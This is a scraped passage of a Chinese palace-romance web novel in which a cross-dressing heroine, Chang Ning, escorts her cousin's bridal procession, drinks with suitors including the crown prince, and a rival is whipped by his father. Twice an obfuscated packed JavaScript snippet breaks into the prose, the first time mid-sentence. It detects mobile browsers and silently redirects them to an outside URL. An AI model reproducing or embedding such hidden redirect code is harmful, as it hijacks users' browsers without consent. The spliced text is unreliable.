;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孟学洲抽剑，抵在孟娴脖颈上，“不许提他。” 孟娴牵唇一笑：“可是哥哥，他不爱你。你不知道，他最近在京里一掷千金，只为一个貌美的小倌，还把人带回了家。但他不会和你回家，也不会踏入我们的家门一步，因为我们的家门是肮脏腐臭的。在他眼里，你，我，都不配站在他身边。” 孟学洲勃然大怒，持剑的手晃个不停，负气长舒，猛得收剑，“回去！” 孟娴低眸道：“哥哥，我能帮你得到他。无论是他的人，还是他的心。” 孟学洲已听不下去，走出好一段。孟娴追上来，手心捧着一枚银锭，“你看，哥哥，他给我的。” 孟娴唇角是温柔的笑意。 哥哥果然停下了。 他看在她脸上的目光，妒忌、憎恶、痛恨……真是令人心情愉悦。 孟学洲：“我凭什么信你？” 孟娴：“我是女人，他是男人。” 可笑么，哥哥？做了一辈子的天之骄子，也该轮到她来做做了。天定的沟壑，谁又能消弭呢？ “你要什么？” 孟娴道：“我要一门亲事，我已经十七岁了。” 22. 离开 常宁带着书剑回府，忽地打了个寒颤。 似乎有一道目光，躲在背后盯着她，湿湿黏黏的，让人难受。 可她回头，却什么也没看到。 书剑问：“少爷，怎么了？” “没事，快回去吃饭了。”常宁心道古怪，决定到祠堂里给她家祖宗烧柱高香磕个头。 公孙瑾收回目光。 一道凌厉的剑风袭来，公孙瑾侧身，险险躲过。 剑客一袭黑衣，红绸遮眼，一手背在身后，一手提着碧绿竹枝。听到公孙瑾拔剑的声音，头转向公孙瑾，握着竹枝来刺。 二人不约而同地避开英国公府，进了巷道，招招狠辣，在竹与剑再次相接时停下。 公孙瑾面色难堪：“你为何不拿剑？” 即使从未见过此人，公孙瑾也认得出来，他遮眼的红绸分明是常宁的发带。 常宁只用过一次。 张侍玉扯唇懒洋洋地笑：“对付你，这就够了。” 公孙瑾冷哼一声。 他们是平手，可没有高下之分。 “天下剑客，莫出墨家，”公孙瑾也笑，“此言不虚。可惜，你们千机阁满门被屠，只剩下一群研究机关的普通人，你不回去看看，倒有心思在这儿隔窗观月、谈情说爱。” “越没有，才越强调，”张侍玉抖了抖竹枝上的水露，枝上细竹叶随风摇晃，他的目光如有实质般，穿透红绸望向公孙瑾，“我也想知道，你满身血腥气，日日追在他身后，不会自卑吗？也对，不然你为什么不敢递名帖进府。” 张侍玉轻笑一声。若不是怕常宁伤心，他还想剜了他的眼珠、剁了他的手、剃了他的膝盖。 谁让他总是看不该看的、动不该动的心思。 公孙瑾挺直脊背，不屑地瞥向张侍玉，“至少他知道我爱他，可他绝不知道你爱他。你这一辈子，都只能做他的朋友。你知道他到底有多少朋友吗？” 张侍玉手腕翻转，将竹枝倒立在背后，足尖点地离去，“你若真能每晚都守在这儿，我也服你。” …… “娘，无忧在哪儿呢？” 姜夫人饮下一口茶，“好孩子，问多少遍了？无忧不适合待在咱们家，你爹带他到庄子里去了。” 常宁有些失落：“为什么？” 姜夫人笑道：“无忧不错，但傲气高，你若想长长久久地，就不要现在去见他。太子殿下献了祥瑞，等钦天监算出日子，陛下要大赦天下，到时候无忧也会被赦免的。” 常宁眉开眼笑，“娘，我听你的。” 姜夫人点头，“明日早些起身。你表姐要成亲，家里没有兄弟，你背你表姐上花轿。” 常宁记得这位表姐，正是她叔公家的，腼腆温柔，常宁小时候贪玩摔倒，表姐总是心疼地搂着常宁哄，给常宁擦脸上的灰。往往常宁还没哭，表姐就先流泪了。 叔公死得蹊跷，临死前迟迟不咽气，硬是等着族长来了，抓着族长的手，说不要表姐守孝，儿子儿媳早死，只留下表姐一个孩子，他这辈子就想看表姐早点成亲。等族长答应了，他才阖眼咽气。 常宁回自己院子，心中还是郁闷。叔公走得不明不白，怕牵连到表姐，也不让表姐守孝。 这不明不白的日子，也不知道要过多久。说不定哪天常宁碍着别人眼了，也要这样不明不白地死。 跨进门槛，忽然听到一声痛吟。 常宁爬了墙头，攀上屋脊，见张侍玉面容扭曲，双手死死掐着衣领，瞪大的眼睛中布满血丝。 慧能大师装药的小瓷瓶开了盖，滚在瓦砾旁。 “侍玉，”常宁皱眉，看他痛得几乎听不清她的话，下唇都被他咬得渗血，忙摘下自己的玉佩，“你咬这个。” 张侍玉鼻尖一嗅，大喘着偏头，“什么臭沉香，我不要。” “哪里有沉香？”常宁低头，这才发现慌乱下拿错了玉佩，这块是昨天李稷给的，遂换了一块，“我也觉得沉香臭。” 张侍玉不回话了，两眼直直瞪着，大颗大颗汗珠顺着脸庞滚落，唇角血迹拖出长线。 常宁叫了几声，他都没有反应，遂捏住他下颌，强硬地将玉佩塞进他口中。 今夜是满月，皎洁明亮。常宁不知道他哪里疼，但刚刚触碰时，他凉得像块冰。 书剑拿了汤婆子，三两下爬上来，常宁道：“你拿着在他身上滚一滚，太冷了。” 张侍玉不肯：“太臭。” 书剑气得跺脚，“要不是少爷，我还不想搭理你呢。” 常宁道：“你下去吧，早些歇息。侍玉，你自己来。” 她捞了一个汤婆子，塞进张侍玉怀里。水温微烫，但不至于烫伤人。常宁也就放心了，只在这儿看着，防止他跌下去。 良久，常宁才听他道：“死秃驴。” 夜行衣被汗水打透了，黏在张侍玉身上。 常宁淡淡移开目光，“你先把衣服整好。” “你还怕这个？”张侍玉牵唇笑，“真不像个男子汉。” 常宁才不怕呢，但张侍玉就凑在常宁面前，面色苍白，唇上还挂着血，一幅要和常宁抵足而谈的模样，常宁不太喜欢，“你离我好近。” 张侍玉移开了些，“我要走了。” 常宁惊讶：“还会回来吗？” 张侍玉眸中闪现出笑意：“自然。等我家财万贯，等我求得至高至上的武学。” 常宁笑了：“你也喜欢钱？” 张侍玉望着月亮：“你不知道珠萦玉绕、绮罗满身的昂贵。” 常宁倒是奇了。侍玉刚来时，总是郁郁！寡欢，好不容易才开怀了。可常宁也清楚，他是不喜珠玉绫罗的，做什么要那么多钱财？ 张侍玉回头看常宁：“我风餐露宿，可宝贝合该捧着、呵护着。” 常宁托腮叹气：“我表姐明天要成亲，我同窗害了相思病。现在可好，你也有心上人了，就只有我孤零零的。” …… 灯火通明。 侍卫长守在院外，见有内侍领着几个窈窕的姑娘走过来，提剑挡住了去路，“殿下在内，绕行。” 内侍道：“大人，快收了剑，这是刘总管吩咐的。” 侍卫长：“我没收到指令。叫他来见我，不然休怪我不放人。” 刘总管听到动静，忙赶过来：“也是咱家忙忘了，就让人进来吧。” 殿下夜宿在宫外，本就轻车简行，要多多提防。何况殿下从不召见美人，今夜一连召见三个，不怪侍卫长多想，刘总管也如遭雷轰。 刘总管看了眼身后的人，嘱咐道：“殿下不喜欢人靠得太近，也不爱看人冷着脸。不要太闹腾，也不要太沉寂，多笑一笑。” 都是年轻貌美的姑娘，或是艳若桃李，或是清如芙渠，有丰姿婀娜，亦有纤细窈窕，一眼望去就叫人心情愉悦，此刻不无紧张羞涩。刘总管只希望殿下是到了年龄，不要让他再带另外一波人过来。 真带了，那可是……刘总管心内叹气。 李稷披了身素白寝衣，提笔执卷，听到门扉开合，兼之一段轻重不一的脚步声，并不回头，只道：“等着。” 刘总管道：“是。” 屋中太沉寂，不只是几位姑娘，连刘总管心都提了起来。 又不知过 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眼见李稷气势越发沉着，刘总管心一横，轻声对小太监叮嘱：“把那少年领过来。” 语毕，他飞速看一眼李稷，李稷面上并无变化。 没有变化就是最大的变化。殿下耳聪目明，挨得这么近，他再小声，殿下也听得清。 造孽啊。 不多时，便有个唇红齿白的少年走进来，步履轻盈，姿态写意，颊边挂着灿烂的笑，见了人也不怯，扬唇道：“贵人，您心情不好吗？” 李稷未语，冷眼看着他。 少年嗅到药香，桃花眼中笑意点点，“贵人，奴给您上药可好？” 刘总管微笑，递了药膏、玉杵和纱带。 总算有个能近身的了，却是他最不愿意看到的。 李稷浑身不适，褪下肩头衣衫，竭力忍下去，随口问道：“叫什么？” “您声音真好听，”少年举了玉杵，歪头笑道，“奴名阿宁。” 李稷霍然起身，惊得刘总管和那少年俱是面色一变，“下去。” 少年还想再说话，刘总管使了个眼色，立马闭嘴。 小太监带着他下去，刘总管扑通一声跪在地上，“奴才知错！” 李稷真是胃内翻涌，恨不得连肩上那块皮肉都剜下来，只觉脏污不堪，“备水，沐浴。” 泡在热水里，狠狠揉搓着肌肤，李稷还是满面阴沉。 无论是祖宗之法，还是圣人玉言，都没有说过，他李稷要天天念着一个男人。 那是荒淫无道的昏君才会做的事。 何况，还是个未加冠的风流少年。 这么个性情风流不羁的人，等他知晓情事，岂不是要红颜遍天下？ 要李稷如何忍得了！ 李稷深吸一口气。 不过是个无关紧要的人罢了。 只要冷着常宁，远着常宁，不见常宁晃人的音容，总能祛除常宁在他脑海中留下的印记。 届时，常宁有红颜知己遍地，李稷亦有后宫佳丽三千。 不。 佳丽太多，沉迷女色，亦是庸君所为。 哗哗的水声响过，褚黄屏风上，映着一道高大的身影。 “知道怎么告诉他吗？” “奴才知道，”刘总管磕了个头，“陛下日理万机，奴才一定不会让陛下为殿下费心的。” 李稷颔首：“今夜的事，一次就够了。” 23. 送亲 满府张灯结彩，喜气洋洋。 室内，老嬷嬷给常瑛梳发上妆，“老太太昨晚一夜都没睡，若不是眼睛看不见，还要亲自给小姐梳头呢。” 只是老嬷嬷也发愁。 老爷去了，小姐也没个嫡亲兄弟姊妹，此番又算是高嫁，虽说姑爷人不错，但也难保不会受委屈。 常瑛看着铜镜里娇美的面容，念起祖母，眼眶不由一红，视线挪向门外。 一道纤细劲瘦的身影映在窗格纸上。 “宁宁？” 常宁回头，“姐姐，是我。” “快进来，”常瑛道，“怎么来这么早？” 常宁推门进来，笑笑：“姐姐，你今天真好看。咦，姐姐，你不高兴吗？” 常瑛眼角愈发红，“不是，姐姐是舍不得你和祖母。” 常宁眨眨眼：“好说嘛，姐姐，往后我常去看你。” 常瑛从妆奁里取出一个玉镯，塞进常宁手里，“这是高祖父留给我祖父的，祖父临走前留给了我。我用不着，宁宁你收着。” 传家的宝贝，常宁不肯收，“叔公留给姐姐的，怎好割爱呢？姐姐不必挂怀，也不要对我愧疚，我知道叔公是被冤枉的。你要是伤心了，害叔公的人才开心呢。大喜的日子，姐姐高兴一些嘛。” 常宁触目所及，到处是喜庆的红，表姐的口脂也是红艳艳的，泛着水润的光，“姐姐，你喜欢姐夫吗？” 常瑛脸颊微红，羞涩地点点头。 常宁眸中盛满好奇：“姐姐，喜欢一个人是什么滋味？” 老嬷嬷笑了：“小少爷，小姐脸皮薄，再问下去，老奴连腮红都不用上了。” 常宁挥手：“不问了不问了。姐姐，我去给你看门。” 天光渐渐明亮，等族里的姊妹们来了，常宁就退到院子外守着。姜夫人也过来了，看见常宁很是稀奇。 常宁歪头一笑，凑近道：“娘，你给我姐姐准备的什么呀？” 姜夫人拿团扇遮唇笑笑，不理会常宁。 族里的老人陪着叔祖母来看望表姐，常宁听到叔祖母和表姐搂在一起依依不舍分别的话语，还有叔祖母和族人对表姐的叮咛。 吹吹打打的声音愈发逼近，也愈发热闹，常宁靠墙站着，有些高兴不起来。 等轮到常宁上场，常宁腿都站麻了，小跑着过去蹲下。 两边人笑着，目送姐弟俩先行，坠在后面跟出去。 常瑛道：“今天怎么穿绿色衣服？” 常宁骄傲：“红配绿！这样别人一看，就知道我们是一家人！别哭嘛，姐姐。” “你累吗？” “姐姐又不重，我当然不累。” “宁宁，你慢点走。” “好！” 但不到一刻钟，依旧到了门前。 常宁送表姐上了花轿，落下轿帘。新郎官面容俊秀，身前的红花更衬得他有几分英气。 小厮在街前放长鞭，洒喜糖、喜果、喜钱。围来的百姓捡了后，变着花样说些讨喜的话，祝新人永结同心、瓜瓞连绵，称赞新郎的一表人才和新嫁娘的蕙质兰心。 刘长瀛满面春风，向叔祖母和族人们行过礼，正要吩咐人起轿，忽然被常宁一掌拍在肩上，险些震得倒下去，得亏常宁收着力。 族老面面相觑，不由望向姜夫人。姜夫人微微摇头，不清楚常宁拦着轿子做什么。左右是自家晚辈，众人心下再思量，面上也都笑着，配合就是了。 常宁站在轿旁，笑眯眯道：“新郎官，知道我是谁吧？我就不多说了，我只告诉你，我不但不讲道理，还认死理。别看这是我表姐，可我常宁没有亲姐姐，表姐就是我亲姐姐。我姐姐最是善良，要是让我知道你们俩闹了矛盾，我不问缘由，我只找你，听到了吗？” 刘长瀛是个十足的书生，哪里受得了常宁这一掌，“小生既娶了常小姐，定会对小姐好的。” 百姓总算弄明白了，一时新奇。 “哟，岳丈不训女婿，改成小舅子训姑爷了，反了天了！” “反你的天，别反我的天！这家小姐是独女，少失双怙，前些日子祖父也走了，家里只剩一个老祖母，好欺负呢。” “切，我要有这小舅子，我就不娶亲了。横就是横，说出花来也是横！” “要你说？没看人家族里那么多人都站着没动，说不定这出就是族里特意为小姐安排的！” 常宁点点头，笑看刘长瀛，继续道：“我姐姐带着我的令牌，凡是认识我的人呢，见了都会卖我个面子。大家伙都见过我，认人也人脸，你知道该怎么做吧？” 刘长瀛拱手：“知道。” 这小舅子，果然是横得很。 “我还挺喜欢你做我姐夫的，往后要去你府上多叨扰了，你不会不同意吧？要是到了你府上，见我姐姐落一滴泪，我还是那句话，我可不问缘由，少不得要你明日上不了朝。别问我敢不敢，御前的板子我都挨过，不差这多一顿少一顿的。” 刘长瀛自然连连应是。 常宁满意了，顶着姜夫人的目光夸了他几句，俯身在轿上敲了敲，轻声道：“姐姐，保重，有事派人知会我。” 常瑛白皙修长的指节攥着冰凉的令牌，一遍遍摩挲着纹路，珠泪一颗颗砸在青铜牌上。 一路吹吹打打，绕城走了几圈，到刘府时，已经近黄昏了。 姜夫人陪着常宁叔祖母，在亲家那边交游。常宁在席上，和刘家的小辈闲聊。 “常家哥哥，这世上真有你说的那种宝贝？” “自然，”常宁摇扇笑笑。 一群还没常宁腰高的小孩，常宁哄着他们说几句话，把自己搜罗来的宝贝分给他们些，他们看常宁的眼睛就亮亮的。 “你们要是敢欺负我姐姐，我就再过来，把这些都要回去。” 小孩已经投在常宁麾下：“放心，小弟小妹们保准盯好大哥哥。” 常宁笑弯了眼，“不错，上道。” 刘家父母听说了儿子被训，自然是心下微愠。常瑛家里是白身，但英国公品阶却大得多，常宁也有名气，又沾亲带故的，忍下不提。 刘父是正五品翰林院侍读，此刻正与常氏族人相谈，和几位随英国公一同赴宴的朝中大员论道。 说来也是父子相类，英国公年轻时，玉树临风、性情洒脱，学问也做得好，尤其喜好交游，是庆和帝的伴读，还传出过小孟尝的美名。可惜小时了了，大未必佳，如今也是不复往日威名，只知钓鱼养花。 正说话间，小厮来报：“老爷，云将军府上的公子来了，要参加大少爷的婚宴。他说、他说……” 刘父忙问：“说什么？” 素不相识的，他家可没给云将军府上上请帖呀！虽说云将军品阶没有英国公高，可英国公是声名在外，云将军是掌着兵权，得皇上重用，自然各有妙处。这样的大人物，他们家是请不来的。 小厮：“云公子说，他母亲稍后也要来。” 刘父养气功夫不错，虽不知云公子为何来，面上却含着淡定得体的笑，“好生招待云公子。” 小厮道：“老爷，小的还没说完。宋御史家的少爷、礼部尚书家的公子、龙禁尉……都来了。” 刘父险些捻断胡须，定在那里，一边眼睛瞪大了。 英国公捧起茶盏，吹了吹茶雾，笑道：“亲家，可要去前厅招待些？” …… 云策打量着常宁，“我从没见你穿过这身衣裳。” 宋念辞紧跟着点头。 常宁切了一声，竖指摇了摇，“没见识，这不就见到了？” 湖绿长衫，同色发带，腰佩白璧，愈发衬得常宁肤色雪白，一举一动飘然带风，仿佛山野中钟天地之精粹修成的小仙。 常宁这块席案，本就不大，给常宁一人备下的。御书房众人一来，刘府小厮便急急加了几条案，众人却不去，围着常宁这小案乐呵。 云策得意洋洋：“我把我娘也给叫过来了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361884|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样，比某些人强吧。” “点谁呢！”宋念辞怒而拍案，“少爷我那是没叫吗？我爹那老古板，当个御史要修仙呐，管得严死了，连我都是偷偷跑出来的。够意思不，常宁？” 常宁惊讶：“老兄，往日是我小瞧你了，失敬失敬。等以后你们成亲，我随双份份子钱！” 云策一笑：“用不着，你人到就行。” 宋念辞撇嘴，“这有些人，算盘珠子都打我脸上来了，还想把少爷我比下去呢，嘁！” 常宁感动得很，正要再倒杯茶喝，忽然发现手边茶盏中已被斟好了茶。 公孙瑾沉默寡言，将茶盏向常宁那里推了推，抬眼看常宁。 常宁拿杯子转了几圈，还是不太敢喝，重新放下，“过几天我请你们到天香楼吃饭。” 云策手肘撑在案上，举目四望，“我说常宁，你不如办个生辰宴，到时候啊，我们御书房都去，那才叫热闹！” 宋念辞眼睛一亮：“生辰宴？这敢情好，常宁你还没办过！” 公孙瑾和孟学洲饮着酒，此刻也都看了过来，对视一眼，“可行。” 盛情难却，常宁为难，“我得问我娘。” 常宁生辰在七夕，只剩下不到两个月了。 云策正要劝，忽然听到太监尖细的嗓音。 “安亲王到——” 席内众人无不惊异，刚从后厅移步过来的刘父眼皮一跳，连忙跪下行礼。 张公公笑呵呵，一扬拂尘，“诸位都请起，大好的日子，殿下也是来沾沾喜气。” 刘父冷汗涔涔，又惊又喜，听着小太监念的长长的礼单，是满面红光，挺直脊梁骨，“殿下，臣带您入席。” 人来得突然，他没设案，自然是要将人先领上他的位置。 张公公不动声色地拒了，掐着嗓子道：“殿下刚回京，只与常伴读交好，那儿就不错。” 刘父顺着望过去，好一桌让人赏心悦目的美少年，整整围了个圈，此刻个个睁着俊眼望着他。 他还没说话，安亲王已经拔步走了过去，堪堪挤进里面。 刘父气得要死，真是群未经世事的少年，殿下来了，连让位的自觉都没有。只祈祷别再来人了，这条小案，本就是给常宁和小辈们设下玩闹的，实在挤不进人。 宾客们笑语交杯，时不时打量这群关系要好的京中美少年，哪个都是东床快婿的不二人选。 小厮提醒刘父，“老爷，该开席了。” 刘父咳了一声。安亲王在下面，他也不敢上主位了，爬了一半的台阶，举杯遥敬众宾客，讲了些热场子的话，就要吩咐开席。 话还没出口，又是一阵急促的马蹄声，熟悉的宫里公公的嗓音，还有带甲卫士，拥着个龙章凤姿的贵气少年进来。 刘父就着台阶扑通跪下了，腿上磨出来好几道印子。 刘总管笑道：“诸位不必多礼，殿下听闻常伴读家中有喜事，念及伴读处事勤恳，特来观礼。” 刘父更紧张了，才站稳，还没来得及迎太子，就见太子也往常宁那桌去了。 登时一口血哽在喉头。 好在这群半大少年还懂些规矩，知道起来相让。 常宁问：“伯父，我们这里太挤了，能给我们换个地方吗？” 刘父热忱洋溢：“好孩子，伯父早就安排好了。来，伯父领你们过去，大喜的日子，千万要开开心心的，有什么不合心意的，都告诉伯父。” “费心了，”常宁颔首，自然而然地带着人往花厅里去，“走走走，这边好看，咱们就来这边，来他个不醉不归！” 刘总管笑着，和那张公公对视一眼，各调手下的小太监过去搭手，里里外外的东西都过了一遍，花厅已然是大变样，清雅奢华。 因着安亲王在，几个小少年虽不认识他，但皇亲贵胄，也不好冷落，知道他与常宁相识，便将话头往常宁身上歪，“常宁，七夕可是个好日子，你真不办生辰宴？我们都想去呢！” 24. 饮酒 两位殿下在，常宁施展不开拳脚，不耐烦地挥挥手，“去去去，我才不办。” 刘总管也不得不感慨，常宁真是天生的焦点。 单单是坐在位子上，同人随口闲话，都让人被常宁的一举一动所吸引。 不多时，刘长瀛进来敬酒，给他们几个少年人包了红封。 常宁斟了酒水，一口闷下敬他，“不许欺负我姐姐。” 被满满当当一屋子人盯着，尤其安亲王殿下与太子殿下都在，刘长瀛岂敢不应。若说先前刘长瀛还对常宁略有不忿，眼下却是全没了，只余下满脸的笑意。 云策咋舌：“真没劲，咱们玩点好玩的，行酒令怎么样？先说好，猜拳，不许作诗。” 宋念辞自然赞同：“输了的不止要喝酒，谁问他话、要他做什么，都不能拒绝。” “不许搞过分的，”李稷没出声，常宁就当他默认了，环顾一周，道，“安亲王殿下的酒，我看还是用茶来代比较好。” 安亲王身边的张公公道：“诸位玩便是，临行前，陛下对二位殿下另有交代。” 常宁应了声好，暗道陛下管得还挺严，这一看就是怕幼弟和太子被他们带坏。 云策急了：“来来来，我们来，猜拳！” 一圈拳头围在面前，常宁低头一看，就自己一个人出了个剪刀，不禁轻咳一声，“哎呀，还没反应过来呢。” 云策哈哈大笑：“别想耍赖，我们一人问你一个问题。喂，你喜欢男人还是女人？” 这简单，常宁一抬眉：“男人喜欢女人，女人喜欢男人，这还用问？” “真的假的？”云策哭丧着脸，“那要是有人不这样，岂不是有病？” “也不是，”常宁笑眯眯，“算不上，你替别人担心什么。下一个是谁？” 宋念辞忙道：“我不问你问题，我要你今年办生辰宴，把我们都请过去。” 常宁闷下他递过来的酒，“成，我回去劝劝我娘。” 公孙瑾看向常宁：“同我和好。” 常宁爽快应下：“简单。” 嘁，反正她说了不做，公孙瑾也拿她没办法，还能勉强不成？ 云策和宋念辞传小话：“他们闹什么矛盾了？” “我哪知道，他们关系不是一直都不好嘛，”宋念辞不乐意搭理他，示意他快听，“老孟也问了。咦，问常宁喜欢谁呢，看不出来啊，真够上道的。” 宫人在烹茶，李稷一笑，先敬明净，“皇叔，请用茶。” 明净接过来，也给他递了一杯，缄默无言。 李稷道：“父皇今日召我过去，要为皇叔筹办选亲宴。依孤看，日子定在七夕前，如何？” 两位公公忙前忙后，明净立掌胸前，终究是没有念出法号：“皇兄费心了。本王刚下山，佛缘未断，不急于一时。待本王凡心起，再来叨扰侄儿。” 李稷命人奉上檀木盒，里面的黄绒布上，静静躺着一串佛珠，“皇叔，父皇让孤带一句话:‘心无挂碍，无挂碍故，无有恐怖，远离颠倒梦想，究竟涅槃’。” 明净微一颔首，眸光移向常宁那桌，“我等既来了，何不同乐，偏要割席而坐？” 李稷笑笑：“这话，皇叔要问父皇了。” 常宁被孟学洲问住了。今日表姐成亲，常宁瞧了一天，不由反问：“喜欢一个人，是什么滋味？” 孟学洲:“与众不同的滋味。想着、念着，风雨雷电、春花秋月，无不是他。会想他是否遭人欺凌，是否饥寒交迫，是否心中郁郁，更会想，他有没有在想自己。” “洲洲看起来用情颇深嘛，”常宁顺着夸了两句，心思早就飘出九天之外了，“不过我只听懂一个与众不同。” 周遭有一瞬的静默。 还真有？ 云策嚷嚷：“常宁，你不许这么认真！行个酒令，你还当真了！” 宋念辞头一次佩服他爹，拍桌直指要害：“问你那人是谁，没问你爱上人家是什么滋味！” 口气这么冲，审刑犯似的，常宁有些不高兴。但今日姐姐成亲，他们来捧场，常宁也不想闹不愉快，遂笑道：“哎呀，别这么大声嘛，吓到我了。我还没想好，答不出来，要不——罚我喝酒？” 孟学洲道：“酒水饮多了伤身，你再仔细想想，我们不急。” “我真想不出来，”常宁皱眉思索一会儿，还是模模糊糊的，自己拎了酒杯倒酒，数着人头一杯一杯地喝，“我好了，咱们继续。” 谁知他们却没了心思，个个心事重重的，都推拒着说不玩。常宁亏了本，遗憾退场。 来时个个满面春风，到了中场就莫名其妙蔫儿了。所幸厨师手艺不错，常宁吃得开心，念着姐姐，喝酒也高兴，一连喝了一小坛。 这酒烈，但常宁酒量好，喝了一坛也不醉，只是面染红晕，桃花眼中蒙了层水润的光，笑着招人上酒，云策几个拦也拦不住。 明净定定看了几瞬，收回视线。 李稷笑道：“皇叔，听闻你与常伴读交好。常伴读似乎已有了心上人，皇叔可也要抓紧了，不能被落下。” “落下”两个字，他咬字重了些。 明净嗓音淡淡：“不劳皇侄费心。若本王没记错，你今年也有十九了，明年就要加冠。太子妃可有定下？侧妃有几位？都是哪家的小姐？本王拜于佛祖座下，不通世务，皇侄可要早早告知本王，本王也好着人备礼不是。” “好说，”李稷给他添茶，“皇叔早日迎王妃入府，一应往来有皇婶打点，这些顾虑，自然也就消了。” 明净蹙眉：“你对本王有敌意？” 李稷一笑：“怎会？” 两位公公对视一眼，早闻出了火星子味。刘总管道：“二位殿下，时辰不早，宫门要落钥了，不如改日再聚？” …… 酒过三巡，宾客散了。 常宁挥手和云策等人告别，拒绝了孟学洲要送她回家的提议，站在府前吹风。 与众不同的滋味吗？ 常宁唇边浮现笑意。 她没醉，但脑袋里蒙着一层纱，精神头格外地好。 常宁想去看看无忧。 书剑牵着常宁的马儿，“少爷，夜深了，不好纵马。” 常宁扶上门柱，笑道：“套辆马车。” 喝了酒就不能骑马，爹娘会担心的。常宁伸手拍拍自己的脸颊，眸子晶亮，不要人扶，爬上马车，“我要去见一个人，一个能让我高兴的人。” 车夫笑笑：“少爷，坐稳了，夜里不稳当，可别磕着碰着。这见人，就得显出少爷的风流潇洒来。” 常宁被夸得开心：“会说话。” 书剑 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书剑在附近守着，常宁手按在腰间佩剑上，围着小楼打转，仰头望去，猜测无忧在哪间房里歇息。 她步子放得轻，在如水的月色里，瞧见几只黄橙橙的萤火虫，呼出一口长气，告诫自己不要对任何人吐露心迹。 也不要爱上任何一个人。 为了一家人平平安安，为了常宁佩紫腰金，无忧无虑做她的华堂客，爹娘已经付出太多。 常宁见过娘亲奔波于商肆的忙碌，也见过爹爹书房里批注得密密麻麻的书卷；她听过贵妇人对娘亲经商的风言风语，也听过市肆酒坊里对爹爹庸碌到只知钓鱼养花的不屑。 娘亲的奔波，爹爹的仕途，都只是为了维系他们的小家，为了常宁平安无忧、随心所欲地活着。常宁知道爹娘留她在京城，既是退不得，也是为她能进御书房得名师指点。在叔公死前，常宁于学业上都十分上心。即使如今灰心，常宁暗地里也没松懈。 常宁笑笑。 她的爱，对男子是负担，对女子也是负担。这是一味无声无息的毒药，无论加诸在谁身上，都如跗骨之蛆，祛之不得，受之则痛。 她既不能袒露身份，便也分不清，爱她的人到底是爱这身衣服、这具皮囊，还是爱着她？由贯穿始终的欺瞒得来的爱，还是爱吗？兴许爱着的，只是一层假象吧。 “书剑，叫赵叔，还回京城。今晚就在城门外安歇，天亮入城，给你和赵叔放假。” 书剑惊讶，“少爷，月过中天了，路途奔波，您不如好生歇着。” 常宁摇头：“不差这一会儿。” 再次踏上马车，常宁回头看了一眼，弯眸笑道：“别了，无忧。” 她舍不得爹娘，也舍不得爹娘辛苦维系的一切。爹娘已经付出了代价，常宁而今也真切地感受到了自个将要付出的代价。她如今已掐灭了这苗头，无忧也未知分毫，这就够了。 她心头还是有一丝愧，在这还未上称的权衡之中，如此迅速地舍弃了无忧。 常宁想要的很多，但若论非要不可，那便是想帮爹娘撑起这个家，让爹娘后半辈子也能像她小时候那样，无忧无虑、平平安安，恣意纵情。 25. 受罚 更深人静，孟学洲微带酒气，推开房门。 月光洒进屋子，照在太师椅上，漆黑一片的屋里，现出双掌撑在椅侧的灰须老者。 孟学洲躬身行礼：“父亲。” 一盏茶杯扑面而来，凉透了的茶水浇在孟学洲脸上，孟尚书怒斥：“孽障，你又去见他！” “我孟家百年清正，廉明奉公，知孝悌，守礼义，竟出了你这个罔顾人伦的畜生！” 孟学洲任由凉茶顺着脸庞淌下，淡淡道：“不及您。” 孟尚书一噎，甩袖吩咐家丁：“带去祠堂！” 高大的匾额，冰冷的牌位，烛台红烛泣血，孟学洲收回目光，重新看向素袍清癯的父亲。 人至中年，身居高位，已显老态。 只恨报应不爽。 孟尚书手持纤细的皮鞭，制止老管家的阻止，蘸饱了盐水，冷声令他褪下外衫，“现在后悔，还来得及。” 孟学洲跪得结实:“不后悔。” 孟尚书气得手抖，挥开老管家，“我今天就代你母亲好好教训你。” 一鞭鞭下去，孟尚书一点也不收力，抽得孟学洲背上皮开肉绽、鲜血纵横。 老管家无措地叫着“老爷”、“少爷”，父子二人俱是充耳不闻。 孟尚书喘着粗气，“你可知错？” 孟学洲：“没错。难道我爱他就是错？” 孟尚书切齿：“混账！他是个男人，你娘早死，你连个后都不给你娘留，叫你娘九泉之下如何瞑目！” 孟学洲抬起眸子，视线落在祠堂中的牌位上，有一瞬的动容，更多的是讥讽，“我不会让他步我娘的后尘，我这辈子只要他一个。你和周姨娘害死了我娘，还有脸到我娘面前教训我，厚颜无耻。” “来人！”孟尚书吼道，“把少爷关进祠堂，没我的命令，不许让他出来！” 老管家要劝，孟尚书冷哼一声，“再劝，别怪我将你打出府去。” 厚重的祠堂门闭合，落上了锁。灯火逐次熄灭，人声渐消，守夜的小厮昏昏欲睡。 孟娴从墙角转出，经过那身落在地上的外衫，瞥见里面的百乐郡银饰，收进袖中，足尖对着外衫踹了一脚。 她撬开窗子，翻窗进去，“哥哥。” 孟学洲不理会她。 孟娴笑道：“哥哥，你还不明白吗？他心这么软，是会对可怜人心生怜惜的。而你，我的哥哥，你如今又怎么不可怜呢？” “哥哥，你如果不继续可怜下去，就只能走父亲给你安排的道路了。迎娶高贵美丽的嫂嫂，踏上父亲铺好的仕途，做你的高官，拥你的美人，一辈子都不敢和他对视。” 孟学洲视线未动：“摇尾乞怜，这就是你的策略？你果然没有长进。” “哥哥，我从前是想和你修好的，”孟娴依旧是笑，“但哥哥你不乐意。父亲已经不记得还有我这个女儿了，他心里只有你，他的一切都给了你。你得到了这么多，为什么还不满足呢？” 孟学洲闭眼：“我不需要你的帮助。回去，我会给你找一门好亲事。” 